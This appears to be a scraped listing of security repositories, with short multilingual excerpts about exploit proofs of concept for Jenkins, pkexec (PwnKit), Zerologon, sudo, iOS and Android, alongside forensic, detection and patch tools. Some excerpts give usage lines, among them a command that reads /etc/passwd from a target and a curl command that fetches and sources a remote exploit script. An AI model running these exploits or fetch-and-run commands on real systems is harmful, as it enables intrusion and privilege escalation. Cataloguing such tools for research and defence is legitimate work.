CVE-2024-23897-Jenkins-4.441

CVE-2024-23897 - Fuga de archivos arbitrarios en Jenkins Compilación root@kitploit: g++ CVE-2024-23897.cpp -o exploit Uso root@kitploit: /exploit -u http://10.10.10.10 -f /etc/passwd...

vuln4japi

vuln4japi A vulnerable Java based REST API for demonstrating CVE-2021-44228 log4shell. Motivation Log4Shell took the internet by storm in early December 2021. A Zero Day vulnerability in the Apache Log4j logging library, capable of Remote Code Execution RCE that had organizations across the globe...

CVE-2021-4034

CVE-2021-4034 Una prueba de concepto simple para CVE-2021-4034 escalada de privilegios local en pkexec. Basada en el excelente resumen de nuestros amigos de Qualsys. ¿Cómo se hace? 1. Clona este repositorio en una máquina con una versión vulnerable de pkexec. 2. ./run.sh 3. Travesuras...

cpanel-forensics

cPanel/WHM Forensics after CVE-2026-41940 Bash script for checking a server after the CVE-2026-41940 vulnerability CVSS 9.8. For 64 days attackers had root access without a password — the patch does not remove what has already been planted inside. Usage root@kitploit: sudo bash cpanelforensics.sh...

COPY-FAIL-Detection-with-Wazuh-4.14.4

COPY FAIL Detection with Wazuh 4.14.4 - CVE-2026-31431 Detection engineering for the Copy Fail kernel LPE · Ubuntu / RHEL / SUSE / Amazon Linux 2023 / Kali What is Copy Fail? CVE-2026-31431 is a logic bug in the Linux kernel's authencesn cryptographic template. It allows any unprivileged local us...

Security-CVE-2026-41940-cPanel-WHM-WP2

Este repositorio no tiene un README...

zer0dump

Zer0Dump Zer0dump 是一个概念验证漏洞利用/工具，用于滥用与 CVE-2020-1472（Zerologon）相关的漏洞，以对未打补丁的 Windows 域控制器发起完全系统接管。 特别感谢 @dirkjanm 和 @SecureAuthCorp...

cve-2026-41679

CVE-2026-41679 Introducción Este POC comprueba si una instancia de paperclip ai es vulnerable a CVE-2026-41679. Sigue los pasos que se encuentran en este artículo. Uso Ejecuta los siguientes comandos: root@kitploit: git clone [email protected]:bartfroklage/cve-2026-41679.git cd cve-2026-4167...

CVE-2025-8760

Prueba de Concepto para CVE-2025-8760 El análisis detallado está disponible aquí...

dirtyfrag-patches

Dirty Frag — Parches del Kernel Serie de parches para la clase de vulnerabilidad Dirty Frag descubierta por Hyunwoo Kim @v4bel. Dirty Frag permite a un usuario local sin privilegios sobrescribir bytes arbitrarios de la caché de páginas de archivos de solo lectura p. ej. /usr/bin/su, /etc/passwd, ...

CVE-2021-3156

CVE-2021-3156 Exploit for CVE-2021-3156...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 en Script Bash Uso: source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...

CVE-2024-49113-Checker

CVE-2024-49113-Checker Script to test whether your environment is potentially vulnerable to CVE-2024-49113 LDAP Nightmare. This script performs: RPC connectivity checks LDAP port tests Netlogon service validation LDAP callback verification root@kitploit: usage : python CVE-2024-49113-checker.py...

ResourcePoison

Fix for this issue has appeared as CVE-2025-22441: bulletin patch follow up Passing ApplicationInfo around ApplicationInfo is structure defining various information about installed app, most notably path to apk file from which resources and code are loaded Usually it is passed from system to...

CVE-2021-4034

CVE-2021-4034 This is an exploit created for CVE-2021-4034 meant as a POC. It is based off the info at https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt. How to use it: Download the exploit folder. Compile prog.c with gcc prog.c Go to the GCONVPATH=. folder and ensure that the "code" fil...

OrganizerTransaction

This is PoC for CVE-2021-39749, which allows starting activities of other apps on Android 12L Beta regardless of their permission and exported settings In Android 12L TaskFragmentOrganizer access intentionally no longer requires MANAGEACTIVITYTASKS permission Using app provided here requires...

CopyFail-Patcher

Patcher script for CVE-2026-31431 This repo provide script for the CopyFail vulnerability, for Debian/Ubuntu/RHEL/Fedora, didn't test on other distros but anyway... Just follow these : root@kitploit: $ git clone https://github.com/mhdgning131/CopyFail-Patcher.git $ cd CopyFail-Patcher $ chmod +x...

desc_race_A15

descraceA15 CVE-2021-30955 iOS 15.1.1 POC for 6GB RAM devices A14-A15 Made with SwiftUI and C Based off of @b1n4r1b01's exploit Write-up of @realBrightiup's POC Improves A14-A15 support Tested on iPhone 13 Pro Max Results Achieves write privileges Panic's immediately due to A12+ generates logs in...

CVE-2026-26801-pdfmake-ssrf

PoC de Vulnerabilidad SSRF en pdfmake Resumen de la Vulnerabilidad...

jinjava-cve-2026-25526-poc

Exploit paso a paso los 9 pasos: mvn exec:java -Dexec.mainClass=ExploitHarness -q 2. Cadenas de exploit finales creación de archivos, lectura de archivos, divulgación de información: mvn exec:java -Dexec.mainClass=ExploitFinal -q 3. Exfiltración de contenido de archivos lee /etc/passwd,...